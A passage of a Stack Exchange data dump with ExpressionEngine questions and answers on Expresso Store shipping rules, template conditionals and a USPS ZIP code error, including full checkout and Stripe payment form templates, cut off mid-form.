  <row Id="11412" PostTypeId="1" AcceptedAnswerId="11443" CreationDate="2013-06-21T13:05:54.603" Score="2" ViewCount="154" Body="&lt;p&gt;I'm using Exp-resso Store to run the ecommerce functionality of my site. I've upgraded to 1.6.4 which allows me to add rules for different UK postcodes, as per this question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6636/matching-uk-postcodes-to-shipping-rules&quot;&gt;Matching UK postcodes to shipping rules&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem being is that my client's shipping rules are going to be fairly complex, in that I have about 30 different rules for each postcode depending if its mainland UK or highland/island/Northern Ireland.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client has then dropped the bombshell that they can pack two items into a package and therefore prices should be for every two items, i.e. 0-2 items at £15, 3-4 items at £30, 5-6 items at £45, etc. If I combine these with 30 existing rules for postcodes, you can see that I am already in several hundred rules! A nightmare for me or the client to update...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there a way of adding more than one postcode per rule? Or another way for me to price per items?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think an image of my rules will help clarify things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NpIjT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I should mention that I've looked in the Docs and there's nothing obvious there, however I may have missed this. I've tried the obvious &quot;IV1 *, IV2 *&quot; and &quot;IV1 *|IV2 *&quot; (without the quotes) but no luck.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-06-23T22:50:58.193" Title="UK Postcode Shipping Rules - more than one postcode per rule" Tags="|expresso-store|ecommerce|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11413" PostTypeId="1" AcceptedAnswerId="11417" CreationDate="2013-06-21T13:15:31.470" Score="0" ViewCount="625" Body="&lt;p&gt;I'm using an embedded template to include the  for my site.&#xA;I want to use &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingCustomVariables#visitorLevel&quot; rel=&quot;nofollow&quot;&gt;Google Analytics custom variables&lt;/a&gt; to track visitor information for logged in users so thought I could selectively show the Analytics code if a user is logged in using the {if logged_in} conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in a  tag have put the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;// define a Visitor-level Custom Variables based on the member ID&#xA;_gaq.push(['_setCustomVar',1,'Member ID','{member_id}',1]); &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user is logged in then the code works as expected.&#xA;However if a member is not logged in the template is writing the following to my HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if FALSE}&#xA;// define a Visitor-level Custom Variables based on the member ID&#xA;_gaq.push(['_setCustomVar',1,'Member ID','0',1]); &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts why this might be happening? I would expect that if nobody is logged in the site would return nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cole&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2013-06-21T13:57:36.337" Title="If logged_in conditional" Tags="|templates|members|conditionals|users|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11414" PostTypeId="2" ParentId="11413" CreationDate="2013-06-21T13:38:11.187" Score="0" Body="&lt;p&gt;I would suggest not using {if False} and instead using {if:else} and then specifying your analytics code from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because you're not doing that, I would speculate that EE doesn't know what &quot;else&quot; to do and so just tries to go with what it has, which is nothing.&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-06-21T13:38:11.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11415" PostTypeId="1" CreationDate="2013-06-21T13:41:31.747" Score="1" ViewCount="44" Body="&lt;p&gt;This is simply my problem, I have no relationships field. I have no idea how I would've removed this and or how that would even be possible considering it's a native EE function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue how to get this back?&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-06-21T17:50:08.637" Title="I am missing the Relationships Field Type" Tags="|fieldtype|fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11416" PostTypeId="2" ParentId="11409" CreationDate="2013-06-21T13:41:36.887" Score="1" Body="&lt;p&gt;Have you tried deleting them from the Template Manager?&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-06-21T13:41:36.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11417" PostTypeId="2" ParentId="11413" CreationDate="2013-06-21T13:57:36.337" Score="1" Body="&lt;p&gt;Since your conditional is inside of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags, EE by default prevents the advanced conditional from parsing. Add this to your config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['protect_javascript'] = 'n';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-06-21T13:57:36.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11418" PostTypeId="1" AcceptedAnswerId="15295" CreationDate="2013-06-21T14:11:41.367" Score="3" ViewCount="366" Body="&lt;p&gt;Working with a client on a site using Store and having some shipping issues. They sell books and ship them all over the world.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default shipping is set to: Shipping Address same as Billing&#xA;We require all folks to have an account in order to buy.&#xA;We have all countries enabled in the Store settings.&#xA;USPS is installed as our shipping method with just one option - Priority. They have an active API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shipping error we're receiving:&lt;/strong&gt;&#xA;Please enter a valid ZIP Code for the recipient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens when a customer in a country other than the US tries to check out. For instance, Taiwan has a region with a zip of 403. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am passing the shipping method on this page as a hidden field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? Why would the API reject a zip code unless its US only? Assuming that the API is the issue and not my settings. Any help here would be greatly appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Danielle&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cart/Checkout Page 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;cart-contents&quot;&amp;gt;&#xA;    {exp:store:checkout error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;' next=&quot;bookstore/checkout-test&quot;}&#xA;    {if no_items}&#xA;        &amp;lt;hr&amp;gt;&#xA;        &amp;lt;h2 style=&quot;text-align:center&quot;&amp;gt;Your cart is empty!&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;hr&amp;gt;&#xA;        &amp;lt;h4 style=&quot;text-align:center&quot;&amp;gt;Browse a Category to Get Started&amp;lt;/h4&amp;gt;&#xA;        {embed=&quot;bookstore/.cart-categories&quot;}&#xA;    {/if}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;shipping_method&quot; value=&quot;3&quot; /&amp;gt;&#xA;    {error:shipping_method}&#xA;    &amp;lt;table class=&quot;cart&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th style=&quot;width:70%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th style=&quot;width:10%;text-align:center&quot;&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th style=&quot;width:10%;text-align:center&quot;&amp;gt;Qty&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th style=&quot;width:10%;text-align:center&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;    {items}&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;&#xA;        &amp;lt;b&amp;gt;SKU:&amp;lt;/b&amp;gt; {sku}&amp;lt;br /&amp;gt;&#xA;        {modifiers}&#xA;            &amp;lt;b&amp;gt;{modifier_name}&amp;lt;/b&amp;gt;: {modifier_value} {if price_mod_val}({price_mod}){/if}&amp;lt;br /&amp;gt;&#xA;        {/modifiers}&#xA;        &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td style=&quot;width:10%;text-align:center&quot;&amp;gt;&amp;lt;p&amp;gt;{price}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td style=&quot;width:10%;text-align:center&quot;&amp;gt;&amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;qty&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td style=&quot;width:10%;text-align:center&quot;&amp;gt;&amp;lt;p&amp;gt;{item_subtotal}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    {/items}&#xA;    &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;div class=&quot;totals&quot;&amp;gt;&#xA;        &amp;lt;h3 style=&quot;margin:10px 0; padding:0&quot;&amp;gt;Your Order Subtotal: {order_subtotal}&amp;lt;/h3&amp;gt;&#xA;        {if promo_code}&amp;lt;h4&amp;gt;Discount: -{order_discount}&amp;lt;/h4&amp;gt;{/if}&#xA;        &amp;lt;p class=&quot;small&quot;&amp;gt;All shippable products delivered via USPS.&amp;lt;br /&amp;gt;Shipping cost provided during checkout.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;promo&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;Have a coupon or promo code?&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;promo_code&quot; value=&quot;{promo_code}&quot; class=&quot;input&quot; /&amp;gt; &amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Apply&quot; class=&quot;btn apply&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {if promo_code}&#xA;            &amp;lt;div class=&quot;clearing&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;p&amp;gt;Discount {promo_code} has been applied to your order.&amp;lt;br /&amp;gt;&#xA;            Click here to remove this discount: &amp;lt;input type=&quot;submit&quot; name=&quot;remove_promo_code&quot; value=&quot;X&quot; class=&quot;remove&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clearing&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr class=&quot;ten&quot;&amp;gt;&amp;lt;br /&amp;gt;  &#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Update Totals&quot; class=&quot;btn&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;empty_cart&quot; value=&quot;Empty Cart&quot; class=&quot;btn btn-danger&quot; /&amp;gt;&#xA;        {if logged_in}&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Continue to Checkout&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;        {if:else}&amp;lt;a href=&quot;{path=bookstore/login}&quot; class=&quot;btn btn-primary&quot;&amp;gt;Continue to Checkout&amp;lt;/a&amp;gt;{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkout Page 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;cart-contents&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;{exp:store:checkout&#xA;form_class=&quot;form-horizontal&quot;&#xA;next=&quot;bookstore/checkout-review-test&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;require=&quot;name|address1|address3|country&quot;&#xA;}&#xA;{if no_items}&#xA;{redirect=&quot;bookstore/cart&quot;}&#xA;{/if}&#xA;&amp;lt;div class=&quot;column&quot;&amp;gt;&#xA;&amp;lt;fieldset id=&quot;billing_details&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;Please provide your billing info below.&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_name}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_name} {error:billing_name}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_address1}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_address1} {error:billing_address1}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_address2}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_address2} {error:billing_address2}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_address3}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_address3} {error:billing_address3}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_region}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_region&quot;&amp;gt;State/Providence/Region&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;billing_region&quot; name=&quot;billing_region&quot; type=&quot;text&quot; /&amp;gt;&#xA;        {error:billing_region}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_postcode}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_postcode&quot;&amp;gt;Zip Code&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_postcode} {error:billing_postcode}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:billing_country}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;billing_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:billing_country} {error:billing_country}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;column&quot;&amp;gt;&#xA;&amp;lt;fieldset&amp;gt;&#xA;&amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;shipping_same_as_billing&quot; class=&quot;checkbox&quot;&amp;gt;&#xA;        {field:shipping_same_as_billing} Same as Billing Details (uncheck to update)&#xA;    &amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;shipping_details_drawer&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_name} {error:shipping_name}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_address1}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address1&quot;&amp;gt;Address&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_address1} {error:shipping_address1}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_address2}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_address2} {error:shipping_address2}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_address3}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_address3&quot;&amp;gt;City&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_address3} {error:shipping_address3}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_region}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_region&quot;&amp;gt;State/Providence/Region&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;shipping_region&quot; name=&quot;shipping_region&quot; type=&quot;text&quot; /&amp;gt;&#xA;        {error:shipping_region}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_postcode}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_postcode&quot;&amp;gt;Zip Code&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_postcode} {error:shipping_postcode}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group {if error:shipping_country}error{/if}&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;shipping_country&quot;&amp;gt;Country&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        {field:shipping_country} {error:shipping_country}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;clearing&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;form-actions clearfix&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{path='bookstore/cart-test'}&quot; class=&quot;btn&quot; style=&quot;float:left&quot;&amp;gt;Edit Your Cart&amp;lt;/a&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Review Order&quot; class=&quot;btn btn-primary&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Checkout Page 3 / Final&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;cart-contents&quot; class=&quot;checkout&quot;&amp;gt;&#xA;{exp:store:checkout&#xA;form_class=&quot;form-horizontal&quot;&#xA;return=&quot;bookstore/order/ORDER_HASH&quot;&#xA;error_handling=&quot;inline&quot;&#xA;error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'&#xA;form_id=&quot;checkout-review&quot;&#xA;payment_method=&quot;stripe&quot;&#xA;}&#xA;{if no_items}&#xA;{redirect=&quot;bookstore/cart&quot;}&#xA;{/if}&#xA;&amp;lt;div class=&quot;stripeErrors&quot; style=&quot;padding:10px; background:#FDFFE0; margin:0 0 20px; text-align:center; display:none&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;Payment Error:&amp;lt;/h4&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{if error:payment_method}&#xA;&amp;lt;div style=&quot;padding:10px; background:#FDFFE0; margin:0 0 20px; text-align:center&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;Order Error:&amp;lt;/h4&amp;gt;&#xA;&amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;{if error:shipping_method}&#xA;&amp;lt;div style=&quot;padding:10px; background:#FDFFE0; margin:0 0 20px; text-align:center&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;Order Error:&amp;lt;/h4&amp;gt;&#xA;&amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:shipping_method}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&amp;lt;!-- Address Info --&amp;gt;&#xA;&amp;lt;div class=&quot;checkOne&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Billing Details&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{billing_address3}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{billing_region_name} {billing_postcode}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- &amp;lt;div&amp;gt;{billing_phone}&amp;lt;/div&amp;gt; --&amp;gt;&#xA;    &amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;h3&amp;gt;Shipping Details&amp;lt;/h3&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;{if shipping_same_as_billing}&#xA;    Same as Billing Details&#xA;{if:else}&#xA;    &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{shipping_address3}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{shipping_region_name} {shipping_postcode}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt; --&amp;gt;&#xA;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='bookstore/checkout-test'}&quot; class=&quot;btn&quot; style=&quot;float:left&quot;&amp;gt;Edit Address Info&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!-- Payment &amp;amp; Shipping Info --&amp;gt;&#xA;&amp;lt;div class=&quot;checkTwo&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Payments Accepted&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;img src=&quot;/assets/images/img-creditcards.jpg&quot; alt=&quot;Credit Cards Accepted&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name on the Card&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_name&quot; value=&quot;&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if error:payment_name}&amp;lt;label class=&quot;error&quot;&amp;gt;Provide the name that appears on the card.&amp;lt;/label&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Credit Card Number&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_no&quot; value=&quot;&quot; class=&quot;required&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if error:payment_card_no}&amp;lt;label class=&quot;error&quot;&amp;gt;Provide a valid card number.&amp;lt;/label&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiration Date&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;select id=&quot;payment_exp_month&quot; style=&quot;width:100px;padding:0&quot; class=&quot;required selects&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Month&amp;lt;/option&amp;gt;&#xA;            {exp_month_options}&#xA;        &amp;lt;/select&amp;gt; &amp;amp;nbsp; &#xA;        &amp;lt;select id=&quot;payment_exp_year&quot; style=&quot;width:100px;padding:0&quot; class=&quot;required selects&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Year&amp;lt;/option&amp;gt;&#xA;            {exp_year_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {if error:payment_exp_month}&amp;lt;label class=&quot;error&quot; style=&quot;display:inline&quot;&amp;gt;Choose a month.&amp;lt;/label&amp;gt;{/if} {if error:payment_exp_year}&amp;lt;label class=&quot;error&quot; style=&quot;display:inline&quot;&amp;gt;Choose a year.&amp;lt;/label&amp;gt;{/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;Security Code&amp;lt;/label&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;payment_card_csc&quot; value=&quot;&quot; 